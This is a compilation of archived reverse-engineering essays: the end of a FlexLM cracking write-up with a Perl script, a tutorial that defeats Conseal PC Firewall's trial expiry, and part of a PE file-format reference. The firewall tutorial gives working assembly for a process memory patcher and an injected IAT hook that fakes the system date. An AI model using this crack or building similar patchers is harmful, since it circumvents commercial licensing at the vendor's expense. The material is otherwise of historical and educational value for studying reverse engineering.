if($searchi<=$#addra) {
if(($j-$k<=0)&&
($proca[$searchi] eq $proc)) {
print "Found $addra[$searchi] $syma[$searchi]\n";
$symfound=1;
$searchi++;
} else {
# print "Looking for $addr == $addra[$searchi] $syma[$searchi]\n";
}
}
# print "$addr\n";

http://www.instinct.org/fravia/dan_fle5.htm (17 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

}
}

if(/^$/){$state=0;}
if(/^_/){$state=1;}

if($state==1) {
$proc = $_;
$proc =~ s/://;
print "New proc searching...\n";
$searchi=0;
while(($searchi<=$#proca)&&($proc ne $proca[$searchi])) {
$searchi++;
}
if($searchi>$#proca) {
print "Not found proc\n";
$state=2;
} else {
print "Found proc $searchi\n";
$state=3;
}
# print "$proc\n";
}

{ print "$_\n";}

close IN;

#***************************************************************

Final Notes
I would like to thank Nolan Blender, VoxQuietis, and pilgrim for their
correspondance. Also, 1000 thanks to them and others such as Siul+Hacky,
Acme, and CrackZ who wrote the informative essays on flexlm.

If you analyze my method of cracking this target, you will see that
I could have found quick soloutions early on by just following through
on things. However, at the time it was not that obvious what I should
be doing. Sometimes you need to experiment before following through
with a certain approach.

If you want the textbook version of this - read the sections in reverse
order!!!

<EOF>

http://www.instinct.org/fravia/dan_fle5.htm (18 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/dan_fle5.htm (19 of 19) [2/7/2001 3:29:26 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT

How to crack Conseal PC Firewall in an


'unusual' way
(Hooking API calls via IAT)
18 September 1999 By NeuRaL_NoiSE a 1999 RingZ3r0 production
SoftIce v4.00

BoundsChecker v6.01

Hacker's View v6.15


tools used: Procdump v1.5
Advanced
OpGen v1.0b

Tasm v4.1
( )Beginner (X)Intermediate (X)Advanced ( )Expert

Courtesy of Fravia's page of reverse engineering


lo fravia,

i'm aware of your (correct imho) criteria of "non-targeted" essays...i find


it stupid that STILL now there are essays that won't teach you anything new,
and most of the tutorial writers cant come up with brand new ideas or
such...but, in this case i chose to write something target-related as this
conseal pc firewall tutorial just because...well, just because i followed a
non-usual approach, which is always a good thing...i implemented an IAT hook
trying to explain the basics of it, exploited a mempatcher to patch the hook
inside the import table, injected the hooking routine code in 00-byte caves
between the object table and the first section's raw data in order to avoid
an obvious decryption-due code modification, without actually adding a
bloated 200 bytes raw section...i mean, i think i came up with something
new...a more 'funny' way of cracking stuff...a 'reversive' approach that
hopefully will open most young reversers minds...woah,
well i'm floating a bit too high there, better to get down again ;)
anyway you get the drift: no matter which target it is, the important is
what i did here... if only 2 more persons tomorrow will be aware that you CAN
hook api calls inside a pe file via IAT hooking thanks to this modest
writing, that would make me the happiest person on earth.

laters,
nN.
A great essay by a fine reverser! Italian crackers sublimissimi and machiavellici!
Note how good reversers don't simply breakpoint everything in sight to patch a target, but actually STUDY its less
common features in order to understand deeper truths! Wanna start to understand what's like to reverse as it
should be? Read this. Enjoy!
Of course, as you all (should) know, once you master such kind of import address table reversing you will also be
able to work for your favourite "dll taming" projects... eheh... ad astra per aspera!

http://www.instinct.org/fravia/conseal.htm (1 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT

Part 1: Intro

Hi everyone...

What does it mean "in an unusual way" ? If u're wondering about it, after reading
the title, here is the explanation... it's quite some time that i don't crack
anymore, like my friends know, and i prefer to dedicate to the (imho) much
richest, more interesting and intriguing Reverse Engineering scenario...
meanwhile, tho, among a chat and a nuke to a friend i happened to notice that my
precious firewall (Conseal PC Firewall, i think it's one of the best ones even if
i know shit about that) goes down... license has expired ?? ohh SHIT, my license
has expired! =)

Typical background for a common quick crack (i haven't been settling for long
cracking sessions for quite a while...), neverthless i soon realized that there
were some good aspects that led to something nicer than a plain serial or a jz/jnz
check...

Let me just say that this tute will be as short as possible (not for the fact that
it's 4.30am here and i'm quite tired, but because i don't really want to flood you
with tons of text....let's try =)

Part 2 : Da Crack.

Ok, this is the story.

The program, once expired, and once ran, doesn't make you suspect anything, when,
after like 2/3 seconds, voila' a msgbox that tells us that we have finished our
time =/... Oh btw i use version 1.37. As i was saying, there's a msgbox, but we
won't break on messageboxa, we said we wanna have fun, no usual stuff. So let's
open boundschecker and launch frw.exe, being careful to all the api's used... if u
are careful enough and u collapse every thread created at the start of the
program, u'll notice 6 initial threads and, right before the nag pops, the
creation of a seventh thread. Interesting, let's take a look at this 7th thread...
u'll notice an overwhelming amount of registry poking, quering and so on, well
nothing strange, nothing changed, as bob marley put it... But let's take a look at
the values being checked... uhm, u'll notice a certain repetition of LicenseInfo,
LicenseID etc... let's open regedit for a second and look for LicenseID... deh, a
nice trio of interesting keys... LicenseCode contains probably the encrypted
version of the installation date + other various rubbish, LicenseID has a default
string for our universal license, LicenseInfo with various unidentified trash...
uhm, what are we gonna do ? a coupla bpm's, looking for the decrypting routine,
and we write our l33t crack ? NO :)

We said in an unusual way... so let's close regedit (dunno about you, but i'll
reserve the decrypting routine for the next time, might be an interesting algo)...
anyway, as we were saying, let's come back to our 7th thread, re-popping
boundschecker again. Browsing a bit downwards among the api calls, we'll reach a
zone where a heap gets allocated+freed, then OH! what's that GetLocalTime =) yup,
it's this easy... GetLocalTime gets the current date and hour... then it's obvious
that the program decrypts the LicenseCode key, gets the installation date, and
then makes his calculations... What are we gonna do ? we could patch the checks in

http://www.instinct.org/fravia/conseal.htm (2 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT
a quick and dirty way, but we talked about having fun, no?? So... let's close
boundschecker after a quick look at the rest of the (useless) api calls... open
the file with Hiew... wow a little surprise for us, there's a .WWP32 section...
the file is packed with wwpack 32... procdump unpacks it i think... but we are
hard headed... we want the packed file, wich is cooler and less space-consuming ;)
at this point a little pervert thought crossed my mind... let's see...
GetLocalTime. Gets year, month and day... I installed Conseal the 17th of July
1999... if i make him believe that it's always the 18th of July 1999 we'll all
live in peace... it would be interesting, but how to do it ? uhm, the solution is
easy... a IAT hook that intercepts every GetLocalTime call and that fakes the
result... easy to do, just that the file is packed, so the problems are basically
2: one, how to install the hook, and two, WHERE to inject the hooking routine...
well, installing the hook is as easy as smoking a cigarette, neverthless the
situation was interesting and i thought i'd keep walking this path :)

IAT hooking is basically, really, really easy in the concept. I assume that the
reader has a medium knowledge of the PE structure, and that he/she knows what an
Import Table is... if not, may i suggest you to read some good doc, the best ones
are imo Pietrek's and Luevelsmeyer's (whose famous pe.txt i included)... Now, we
know that in the Import Table there's an array called FirstThunk, which gets
patched at runtime with the addresses of the functions that the program imports...
the concept of IAT hooking is based on this: you retrieve the spot that concerns
the function we want to hook, and you patch the VA of our hooking routine inside
it. This done, when the program will call the function (and thus will pass for the
deviation inside the Import Address Table (aka FirstThunk array)), instead of
running straight towards the kernel woods, it'll run towards our injected
routine's lair... at that point we'll quietly examine the passed params, we
forward them to the kernel, or we keep them, or we reset the system, or we make a
window pop up saying "Moonshadow is gay =)" or whatever else pleases us ;) (jk
mun:P)... well, u got it. Obviously, we can as well fake the result of a call, in
our case GetLocalTime, returning to our dear friend frw.exe the perpetual date of
18th July 1999 :)
There's a problem anyway. The file is packed... how and where to inject a hooking
routine ? Well, the first idea that popped in my mind was writing a small hooker
.exe, then, from within a memory patcher (unavoidable as we'll see) mapping it
into memory and access to it from the unpacked process... easy to do since MMF's
are mapped in the shared region of the linear address space, thus we wouldn't need
any additional context switching routine etc... but then i thought, is it really
worth it ? let's make something quicker =)... i wanted to physically patch the
routine inside frw.exe, and there was only one place safe from the fury of the
storm caused by a decrypting stub that devastates the initial image of the file
with his mathematcally cold decompression/patching... i'm talking about the so
called caves... this term is particularly familiar to virii writers... caves are
those empty spaces (in reality filled with 00-bytes) inside a PE file, in other
words 'dead' spaces you can use for any code injection purpose... in our case, not
viral code but a nice hooking routine :)

Which cave are we gonna use ?? well, i'd say that the one between the Object Table
and the first section's raw data will do fine... open the file with Hiew, just to
make an idea... after the stub (this proggie can't be run in dos mode) and the
PE,0,0 signature we get the first file header data, then the optional header
etc... browsing downwards we find the object table (.text with the relative data,
.rdata with its data etc...) ... then we have a succession of zero bytes (our
cave) starting from offset 268h and finally we get to .text section at offset
1000h... all this space isn't used/relocated/modified at all, by wwpack32's
loader... now you have an idea of what we're gonna do... you choose wether to keep
reading or to destroy this htm file ;)

So..so... what do we need now ? Well, considered that we have to install a IAT
hook, we need the decrypted image of the file.. in reality we have a 'notionistic'
need of a coupla virtual addresses, that we'll be able to stick as patchspots from

http://www.instinct.org/fravia/conseal.htm (3 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT
a memory patcher, even if the file we'll use will always be the packed one... so
we open procdump, and we start conseal... as soon as the process has been fired,
press the right button inside procdump's tasklist and select Refresh list... here
comes a new process, frw.exe... Quickly, right button on the taskname and then
"Dump (Full)"... save the dump in a file, and close frw and procdump. That file
contains the image of frw.exe exactly as it appears once mapped+decrypted... now
the problem is climbing to the import table, and then dwelling inside it until
finding the FirstThunk array's dword realtive to GetLocalTime's address... and
this implies a DAMN BORING (at least for me) search... so what do we do ? well,
some time ago i got really sick of this situation (i had to face it every time i
wanted to patch an api call inside a process... which is a rather common thing
when u reverse programs, and i had to manually look for the spot in the IAT), and
i decided to write a small tool, that i called OpGen, which contains another quite
useful function too, it pratically generates opcodes for patching far jumps, only
given the starting and the destination VA/RVA (hiew sux when it comes to far
jumps)... but we're not interested in such feature, neverthless the little IT
scanner that i put into it is useful here, it gives you the patchspot for every
function in a snap... seen that i included it in conseal.zip, open it and choose
Lookup Imports for patching... select our dumped file and what u'll get (among
other things) will be this:

GetLocalTime == call dword ptr [46459C]


Oh, interesting :) that ([46459c]) is the place where we'll stick the address of
our hooking routine... Here we are at the point where we face the need of a memory
patcher. Having to patch the hook inside the decrypted image of the file, let's
open our dear Ultraedit with Tasm support (tm;) and let's begin writing down some
code...

.386p
.model flat, stdcall

extrn ReadProcessMemory :PROC


extrn WriteProcessMemory :PROC
UNICODE = 0
include winsux.inc

.DATA

exe_name DB "frw.exe",0

processInfo PROCESS_INFORMATION <>


ini_info STARTUPINFO <>

iat_hooking_routine DD 04002A0h ; VA OF THE HOOKING ROUTINE (IN THE CAVE BETWEEN


THE OBJECT TABLE AND ; THE .TEXT SECTION)
funct_va DD 0
dummybuffer DB 0

.CODE

start:

call CreateProcessA, OFFSET exe_name, 0, 0, 0, 0, NORMAL_PRIORITY_CLASS,0 ,0 ,OFFSET

http://www.instinct.org/fravia/conseal.htm (4 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT

ini_info,OFFSET processInfo
test eax, eax
jz @@end

; we'll wait for frw.exe to be loaded and unpacked with a little loop (even if we're not able to hook every GetLocalTime
there's no problem, the ; ones we effectively need are the ones in the 7th thread, remember)

mov ecx, 100000000

.WHILE ecx != 0
dec ecx
.ENDW
; we retrieve the effective address of GetLocalTime in the kernel directly from the IAT of the unpacked process
call ReadProcessMemory, [processInfo].pi_hProcess, 046459Ch, OFFSET funct_va, 4, OFFSET dummybuffer

; now we patch this address in a dword (@ 4002dd) that we'll call from the hooking routine when we wanna call
GetLocalTime
call WriteProcessMemory, [processInfo].pi_hProcess, 04002DDh, OFFSET funct_va, 4, OFFSET dummybuffer

; and finally we'll effectively install the hook in the FirstThunk array, modifying the address that the program will call
inside the IAT
; with the address of our function (in the iat_hooking_routine dword)
call WriteProcessMemory, [processInfo].pi_hProcess, 046459Ch, OFFSET iat_hooking_routine, 4, OFFSET
dummybuffer

@@end:
call ExitProcess, 0 ; our job is done... now everything is in the hooking routine's hands (bytes:)

end start

very good.

At this point, once we compiled the program we'll have our mem patcher that
creates the process, waits a bit, then retrieves GetLocalTime's address from the
IAT, then patches it inside the hooking routine, and in the end installs the IAT
hook in the decrypted image of the program.

now we only have the problem of the hooking routine. What do we need to put inside
of it ?

enter Softice and put a bpx getlocaltime... start conseal pc firewall, and press
f12 at the first pop. Write DD and then D ESP-4. This will show you the address
that has been pushed on the stack before the call GetLocalTime (you can also find
it by tracing thru kernel until that "mov ecx, esp-c" (the fifth codeline in the
function) where u'll find, in ecx, the same address. Anyway, as i was saying, type
"d address" and u'll get the dump of the SYSTEMTIME structure, that gets filled
with data concerning current time and date. Let's take a look at it's definition:

typedef struct _SYSTEMTIME { // st


WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;

http://www.instinct.org/fravia/conseal.htm (5 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT

WORD wMilliseconds;
} SYSTEMTIME;
uhm, uhm... remember that we have to make the proggie believe that it's always the
18th of July 1999, in other words we have to modify the first, second and fourth
Word in the structure... making them respectively 7CFh (1999 dec), 7, and 12h (18
dec)... if u wanna get a close look at the struct, give a DW and then analize
it... u'll see how easy this concept is.
So, let's make a lil summary. What will happen is this: the program will call the
IAT thinking that it's calling GetLocalTime, while the control will be passed to
our hook routine (at 04002A0h)... at that point our situation will be this: we'll
save EAX pushing it and then [ESP+4] will hold the return address for the
program's code, and we'll save it in a physical dword to call afterwards for the
return (the same thing we did from the mempatcher for GetLocalTime's address)...
then we'll pop EAX and we'll increase the stack pointer of 4 bytes... at that
point [ESP] will point to the SYSTEMTIME structure... so we'll effectively call
GetLocalTime... at the return, we'll have, in [ESP-4], the address of the
SYSTEMTIME structure, and we'll start modifying it... but first we'll save the
value of EAX in a third physical dword (we can't push it because often, if you
analize the code flow with softice, the VA of the structure is dangerously close
to the stack pointer, so a badly placed push could ruin the struct and crash the
program) and we'll stick the VA of the struct inside it... at this point, we'll
modify the words relative to year, month and day, then we restore EAX and we jump
to the return address, that we saved at the beginning of the routine...

now let's write the code... open hiew and go to offset 2A0h (that'll become
4002A0h as soon as the file gets mapped and the imagebase gets added), and inject
our hooking routine:

push eax ; save EAX


mov eax, [esp+4] ; return VA in EAX
mov [4002E3h], eax ; we save it in a variable X
pop eax ; restore EAX
add esp, 4 ; [ESP] points to the SYSTEMTIME structure
call dword [4002DDh] ; == call GetLocalTime (dword patched from the Mem Patcher)
mov [4002E9h], eax ; save EAX in a variable Y
mov eax, [esp-4] ; EAX holds a pointer to the structure
mov word [eax], 07CFh ; WORD wYear
mov word [eax+2], 07h ; WORD wMonth
mov word [eax+6], 012h ; WORD wDay
mov eax, [4002E9h] ; restore EAX from variable Y
jmp dword [4002E3h] ; back to .text via the variable X
gone :)

for those among you not very familiar with Hiew and its barbarian way of handling
byte, word and dword ptr, you must know that they are respectively B,[blabla] ,
W,[blabla] and D,[blabla].

once u did this, you can run our mempatcher, and everything will work perfectly...
your Conseal PC firewall will never expire again, and we made something unusual
for sure... i had some fun, what about u ?? ;)

Part 3: Shout Outz

http://www.instinct.org/fravia/conseal.htm (6 of 7) [2/7/2001 3:29:32 PM]


conseal.htm: How to crack Conseal PC Firewall in an 'unusual' way: Hooking API calls via IAT

Greetings logorrhea shortened by fravia+, maybe not enough :-)


For any question, comment, add-on, polemic etc etc my email is neural@cryogen.com

my nickname on IRC ~ #cracking4newbies (EFNet) or #crack-it (IRCNet) ~ is


nuural_en.
other stuff written by me can be found at http://neudump.cjb.net

my preferred italian reverse engineering group's page is at


http://ringzer0.cjb.net

and my preferred international reversing group's page is http://dread99.cjb.net

'till next time,

NeuRaL_NoiSE 1999 for RingZ3r0 and DREAD.

Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period
than the allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack
protection schemes at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't
come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/conseal.htm (7 of 7) [2/7/2001 3:29:32 PM]


http://www.instinct.org/fravia/pe.txt

$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $

The PE file format


==================

Preface
-------

The PE ("portable executable") file format is the format of executable


binaries (DLLs and programs) for MS windows NT, windows 95 and
win32s; in windows NT, the drivers are in this format, too.
It can also be used for object files and libraries.

The format is designed by Microsoft and standardized by the TIS (tool


interface standard) Committee (Microsoft, Intel, Borland, Watcom, IBM
and others) in 1993, apparently based on a good knowledge of COFF, the
"common object file format" used for object files and executables on
several UNIXes and on VMS.

The win32 SDK includes a header file <winnt.h> containing #defines and
typedefs for the PE-format. I will mention the struct-member-names and
#defines as we go.

You may also find the DLL "imagehelp.dll" to be helpful. It is part of


windows NT, but documentation is scarce. Some of its functions are
described in the "Developer Network".

General Layout
--------------

At the start of a PE file we find an MS-DOS executable ("stub"); this


makes any PE file a valid MS-DOS executable.

After the DOS-stub there is a 32-bit-signature with the magic number


0x00004550 (IMAGE_NT_SIGNATURE).

Then there is a file header (in the COFF-format) that tells on which
machine the binary is supposed to run, how many sections are in it, the
time it was linked, whether it is an executable or a DLL and so on. (The
difference between executable and DLL in this context is: a DLL can not
be started but only be used by another binary, and a binary cannot link
to an executable).

After that, we have an optional header (it is always there but still
called "optional" - COFF uses an "optional header" for libraries but not
for objects, that's why it is called "optional"). This tells us more
about how the binary should be loaded: The starting address, the amount
of stack to reserve, the size of the data segment etc..

An interesting part of the optional header is the trailing array of


'data directories'; these directories contain pointers to data in the
'sections'. If, for example, the binary has an export directory, you
will find a pointer to that directory in the array member
IMAGE_DIRECTORY_ENTRY_EXPORT, and it will point into one of the
sections.

http://www.instinct.org/fravia/pe.txt (1 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Following the headers we find the 'sections', introduced by the 'section


headers'. Essentially, the sections' contents is what you really need to
execute a program, and all the header and directory stuff is just there
to help you find it.
Each section has some flags about alignment, what kind of data it
contains ("initialized data" and so on), whether it can be shared etc.,
and the data itself. Most, but not all, sections contain one or more
directories referenced through the entries of the optional header's
"data directory" array, like the directory of exported functions or the
directory of base relocations. Directoryless types of contents are, for
example, "executable code" or "initialized data".

+-------------------+
| DOS-stub |
+-------------------+
| file-header |
+-------------------+
| optional header |
|- - - - - - - - - -|
| |
| data directories |
| |
+-------------------+
| |
| section headers |
| |
+-------------------+
| |
| section 1 |
| |
+-------------------+
| |
| section 2 |
| |
+-------------------+
| |
| ... |
| |
+-------------------+
| |
| section n |
| |
+-------------------+

DOS-stub and Signature


----------------------

The concept of a DOS-stub is well-known from the 16-bit-windows-


executables (which were in the "NE" format). The stub is used for
OS/2-executables, self-extracting archives and other applications, too.
For PE-files, it is a MS-DOS 2.0 compatible executable that almost
always consists of about 100 bytes that output an error message such as
"this program needs windows NT".
You recognize a DOS-stub by validating the DOS-header, being a
struct IMAGE_DOS_HEADER. The first 2 bytes should be the sequence "MZ"
(there is a #define IMAGE_DOS_SIGNATURE for this WORD).
You distinguish a PE binary from other stubbed binaries by the trailing
signature, which you find at the offset given by the header member

http://www.instinct.org/fravia/pe.txt (2 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

'e_lfanew' (which is 32 bits long beginning at byte offset 60). For OS/2
and windows binaries, the signature is a 16-bit-word; for PE files, it
is a 32-bit-longword aligned at a 8-byte-boundary and having the value
IMAGE_NT_SIGNATURE #defined to be 0x00004550.

File Header
-----------

To get to the IMAGE_FILE_HEADER, validate the "MZ" of the DOS-header


(1st 2 bytes), then find the 'e_lfanew' member of the DOS-stub's header
and skip that many bytes from the beginning of the file. Verify the
signature you will find there. The file header, a struct
IMAGE_FILE_HEADER, begins immediatly after it; the members are described
top to bottom.

The first member is the 'Machine', a 16-bit-value indicating the system


the binary is intended to run on. Known legal values are

IMAGE_FILE_MACHINE_I386 (0x14c)
for Intel 80386 processor or better

0x014d
for Intel 80486 processor or better

0x014e
for Intel Pentium processor or better

0x0160
for R3000 (MIPS) processor, big endian

IMAGE_FILE_MACHINE_R3000 (0x162)
for R3000 (MIPS) processor, little endian

IMAGE_FILE_MACHINE_R4000 (0x166)
for R4000 (MIPS) processor, little endian

IMAGE_FILE_MACHINE_R10000 (0x168)
for R10000 (MIPS) processor, little endian

IMAGE_FILE_MACHINE_ALPHA (0x184)
for DEC Alpha AXP processor

IMAGE_FILE_MACHINE_POWERPC (0x1F0)
for IBM Power PC, little endian

Then we have the 'NumberOfSections', a 16-bit-value. It is the number of


sections that follow the headers. We will discuss the sections later.

Next is a timestamp 'TimeDateStamp' (32 bit), giving the time the file
was created. You can distinguish several versions of the same file by
this value, even if the "official" version number was not altered. (The
format of the timestamp is not documented except that it should be
somewhat unique among versions of the same file, but apparently it is
'seconds since January 1 1970 00:00:00' in UTC - the format used by most
C compilers for the time_t.)
This timestamp is used for the binding of import directories, which will
be discussed later.
Warning: some linkers tend to set this timestamp to absurd values which
are not the time of linking in time_t format as described.

http://www.instinct.org/fravia/pe.txt (3 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

The members 'PointerToSymbolTable' and 'NumberOfSymbols' (both 32 bit)


are used for debugging information. I don't know how to decipher them,
and I've found the pointer to be always 0.

'SizeOfOptionalHeader' (16 bit) is simply sizeof(IMAGE_OPTIONAL_HEADER).


You can use it to validate the correctness of the PE file's structure.

'Characteristics' is 16 bits and consists of a collection of flags, most


of them being valid only for object files and libraries:

Bit 0 (IMAGE_FILE_RELOCS_STRIPPED) is set if there is no relocation


information in the file. This refers to relocation information per
section in the sections themselves; it is not used for executables,
which have relocation information in the 'base relocation' directory
described below.

Bit 1 (IMAGE_FILE_EXECUTABLE_IMAGE) is set if the file is


executable, i.e. it is not an object file or a library. This flag
may also be set if the linker attempted to create an executable but
failed for some reason, and keeps the image in order to do e.g.
incremental linking the next time.

Bit 2 (IMAGE_FILE_LINE_NUMS_STRIPPED) is set if the line number


information is stripped; this is not used for executable files.

Bit 3 (IMAGE_FILE_LOCAL_SYMS_STRIPPED) is set if there is no


information about local symbols in the file (this is not used
for executable files).

Bit 4 (IMAGE_FILE_AGGRESIVE_WS_TRIM) is set if the operating system


is supposed to trim the working set of the running process (the
amount of RAM the process uses) aggressivly by paging it out. This
should be set if it is a demon-like application that waits most of
the time and only wakes up once a day, or the like.

Bits 7 (IMAGE_FILE_BYTES_REVERSED_LO) and 15


(IMAGE_FILE_BYTES_REVERSED_HI) are set if the endianess of the file is
not what the machine would expect, so it must swap bytes before
reading. This is unreliable for executable files (the OS expects
executables to be correctly byte-ordered).

Bit 8 (IMAGE_FILE_32BIT_MACHINE) is set if the machine is expected


to be a 32 bit machine. This is always set for current
implementations; NT5 may work differently.

Bit 9 (IMAGE_FILE_DEBUG_STRIPPED) is set if there is no debugging


information in the file. This is unused for executable files.
According to other information ([6]), this bit is called "fixed" and
is set if the image can only run if it is loaded at the preferred
load address (i.e. it is not relocatable).

Bit 10 (IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP) is set if the application


may not run from a removable medium such as a floppy or a CD-ROM. In
this case, the operating system is advised to copy the file to the
swapfile and execute it from there.

Bit 11 (IMAGE_FILE_NET_RUN_FROM_SWAP) is set if the application may


not run from the network. In this case, the operating system is
advised to copy the file to the swapfile and execute it from there.

http://www.instinct.org/fravia/pe.txt (4 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Bit 12 (IMAGE_FILE_SYSTEM) is set if the file is a system file such


as a driver. This is unused for executable files; it is also not
used in all the NT drivers I inspected.

Bit 13 (IMAGE_FILE_DLL) is set if the file is a DLL.

Bit 14 (IMAGE_FILE_UP_SYSTEM_ONLY) is set if the file is not


designed to run on multiprocessor systems (that is, it will crash
there because it relies in some way on exactly one processor).

Relative Virtual Addresses


--------------------------

The PE format makes heavy use of so-called RVAs. An RVA, aka "relative
virtual address", is used to describe a memory address if you don't know
the base address. It is the value you need to add to the base address to
get the linear address.
The base address is the address the PE image is loaded to, and may vary
from one invocation to the next.

Example: suppose an executable file is loaded to address 0x400000 and


execution starts at RVA 0x1560. The effective execution start will then
be at the address 0x401560. If the executable were loaded to 0x100000,
the execution start would be 0x101560.

Things become complicated because the parts of the PE-file (the


sections) are not necessarily aligned the same way the loaded image is.
For example, the sections of the file are often aligned to
512-byte-borders, but the loaded image is perhaps aligned to
4096-byte-borders. See 'SectionAlignment' and 'FileAlignment' below.

So to find a piece of information in a PE-file for a specific RVA,


you must calculate the offsets as if the file were loaded, but skip
according to the file-offsets.
As an example, suppose you knew the execution starts at RVA 0x1560, and
want to diassemble the code starting there. To find the address in the
file, you will have to find out that sections in RAM are aligned to 4096
bytes and the ".code"-section starts at RVA 0x1000 in RAM and is 16384
bytes long; then you know that RVA 0x1560 is at offset 0x560 in that
section. Find out that the sections are aligned to 512-byte-borders in
the file and that ".code" begins at offset 0x800 in the file, and you
know that the code execution start is at byte 0x800+0x560=0xd60 in the
file.

Then you disassemble and find an access to a variable at the linear


address 0x1051d0. The linear address will be relocated upon loading the
binary and is given on the assumption that the preferred load address is
used. You find out that the preferred load address is 0x100000, so we
are dealing with RVA 0x51d0. This is in the data section which starts at
RVA 0x5000 and is 2048 bytes long. It begins at file offset 0x4800.
Hence. the veriable can be found at file offset
0x4800+0x51d0-0x5000=0x49d0.

Optional Header
---------------

Immediatly following the file header is the IMAGE_OPTIONAL_HEADER


(which, in spite of the name, is always there). It contains

http://www.instinct.org/fravia/pe.txt (5 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

information about how to treat the PE-file exactly. We'll also have the
members from top to bottom.

The first 16-bit-word is 'Magic' and has, as far as I looked into


PE-files, always the value 0x010b.

The next 2 bytes are the version of the linker ('MajorLinkerVersion' and
'MinorLinkerVersion') that produced the file. These values, again, are
unreliable and do not always reflect the linker version properly.
(Several linkers simply don't set this field.)
And, coming to think about it, what good is the version if you have got
no idea *which* linker was used?

The next 3 longwords (32 bit each) are intended to be the size of the
executable code ('SizeOfCode'), the size of the initialized data
('SizeOfInitializedData', the so-called "data segment"), and the size of
the uninitialized data ('SizeOfUninitializedData', the so-called "bss
segment"). These values are, again, unreliable (e.g. the data segment
may actually be split into several segments by the compiler or linker),
and you get better sizes by inspecting the 'sections' that follow the
optional header.

Next is a 32-bit-value that is a RVA. This RVA is the offset to the


codes's entry point ('AddressOfEntryPoint').
Execution starts here; it is e.g. the address of a DLL's LibMain() or a
program's startup code (which will in turn call main()) or a driver's
DriverEntry(). If you dare to load the image "by hand", you call this
address to start the process after you have done all the fixups and the
relocations.

The next 2 32-bit-values are the offsets to the executable code


('BaseOfCode') and the initialized data ('BaseOfData'), both of them
RVAs again, and both of them being of little interest because you get
more reliable information by inspecting the 'sections' that follow the
headers.
There is no offset to the uninitialized data because, being
uninitialized, there is little point in providing this data in the
image.

The next entry is a 32-bit-value giving the preferred (linear) load


address ('ImageBase') of the entire binary, including all headers. This
is the address (always a multiple of 64 KB) the file has been relocated
to by the linker; if the binary can in fact be loaded to that address,
the loader doesn't need to relocate the file again, which is a win in
loading time.
The preferred load address can not be used if another image has already
been loaded to that address (an "address clash", which happens quite
often if you load several DLLs that are all relocated to the linker's
default), or the memory in question has been used for other purposes
(stack, malloc(), uninitialized data, whatever). In these cases, the
image must be loaded to some other address and it needs to be relocated
(see 'relocation directory' below). This has further consequences if the
image is a DLL, because then the "bound imports" are no longer valid,
and fixups have to be made to the binary that uses the DLL - see 'import
directory' below.

The next 2 32-bit-values are the alignments of the PE-file's sections in


RAM ('SectionAlignment', when the image has been loaded) and in the file
('FileAlignment'). Usually both values are 32, or FileAlignment is 512
and SectionAlignment is 4096. Sections will be discussed later.

http://www.instinct.org/fravia/pe.txt (6 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

The next 2 16-bit-words are the expected operating system version


('MajorOperatingSystemVersion' and 'MinorOperatingSystemVersion' [they
_do_ like self-documenting names at MS]). This version information is
intended to be the operating system's (e.g. NT or Win95) version, as
opposed to the subsystem's version (e.g. Win32); it is often not
supplied, or wrong supplied. The loader doesn't use it, apparently.

The next 2 16-bit-words are the binary's version, ('MajorImageVersion' and


'MinorImageVersion'). Many linkers don't set this information correctly
and many programmers don't bother to supply it, so it is better to rely
on the version-resource if one exists.

The next 2 16-bit-words are the expected subsystem version


('MajorSubsystemVersion' and 'MinorSubsystemVersion'). This should be
the Win32 version or the POSIX version, because 16-bit-programs or
OS/2-programs won't be in PE-format, obviously.
This subsystem version should be supplied correctly, because it *is*
checked and used:
If the application is a Win32-GUI-application and runs on NT4, and the
subsystem version is *not* 4.0, the dialogs won't be 3D-style and
certain other features will also work "old-style" because the
application expects to run on NT 3.51, which had the program manager
instead of explorer and so on, and NT 4.0 will mimic that behaviour as
faithfully as possible.

Then we have a 'Win32VersionValue' of 32 bits. I don't know what it is


good for. It has been 0 in all the PE files that I inspected.

Next is a 32-bits-value giving the amount of memory the image will need,
in bytes ('SizeOfImage'). It is the sum of all headers' and sections'
lengths if aligned to 'SectionAlignment'. It is a hint to the loader how
many pages it will need in order to load the image.

